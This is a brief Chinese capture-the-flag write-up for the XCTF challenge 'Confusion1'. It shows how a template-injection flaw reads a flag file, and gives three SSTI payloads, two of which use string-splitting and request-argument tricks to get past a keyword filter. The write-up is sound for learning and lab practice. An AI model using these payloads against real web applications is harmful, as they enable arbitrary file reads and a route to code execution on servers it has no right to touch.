【网络安全 | XCTF】Confusion1

该题考察SSTI注入

正文

题目描述: 某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

register的源码页面中存在flag路径

可以看到网站存在SSTI漏洞

构造POC尝试文件读取:

复制代码
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

参数被过滤:

改参数:

py 复制代码
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

py 复制代码
{% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:100] %}
{% if c.__name__=='ca'+'tch_warnings' %}
	{{c['__in'+'it__']['__global'+'s__']['__buil'+'tins__'].open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt','r')['re'+'ad']()}}
{% endif %}
{% endfor %}

得到flag

相关推荐
三无少女指南19 小时前
深入理解JVM的安全点与安全区域
jvm·安全
wanhengidc19 小时前
云手机和虚拟机的区别都有哪些?
运维·服务器·安全·智能手机·玩游戏
xixixi7777721 小时前
信息安全和网络安全的区分在哪
网络·安全·web安全·信息安全
金仓拾光集21 小时前
__金仓数据库替代MongoDB护航医疗隐私:医院患者随访记录安全存储实践__
数据库·安全·mongodb
newxtc21 小时前
【江苏政务服务网-注册_登录安全分析报告】
人工智能·安全·yolo·政务·1024程序员节·安全爆破
lang201509281 天前
Spring空安全指南:告别空指针异常
java·安全·spring
安当加密1 天前
如何通过掌纹识别实现Windows工作站安全登录:从技术原理到企业级落地实践
windows·安全·1024程序员节
广州华锐视点1 天前
电力电网安全实训难题多?VR安全教育软件给出新方案
安全
德迅云安全杨德俊1 天前
SCDN:互联网时代网站安全的安全保障
网络·安全·ddos
喜欢你,还有大家1 天前
SELinux 安全机制
服务器·网络·安全